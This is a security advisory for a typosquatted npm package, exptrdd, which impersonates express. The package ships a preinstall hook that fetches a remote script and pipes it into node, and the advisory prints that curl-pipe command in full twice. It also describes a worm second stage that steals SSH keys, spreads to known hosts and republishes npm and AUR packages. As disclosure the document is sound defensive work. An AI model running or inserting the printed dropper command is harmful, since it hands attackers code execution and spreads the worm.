MAL-2026-17245 Malicious code in exptrdd (npm)

The package exptrdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

package.json declares a preinstall lifecycle that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching an unpinned script from a mutable branch and piping it directly into node on every npm install. The fetched code runs with the installer's privileges and can perform arbitrary actions on the host. The package identity is a typosquat of express: name is exptrdd while the description, keywords, author, and repository fields are copied verbatim from expressjs/express, so developers who mistype express install the dropper. The remote source (codeberg branch, proxied through web.archive.org) is attacker-controlled and mutable, so the executed payload can change at any time without a package republish.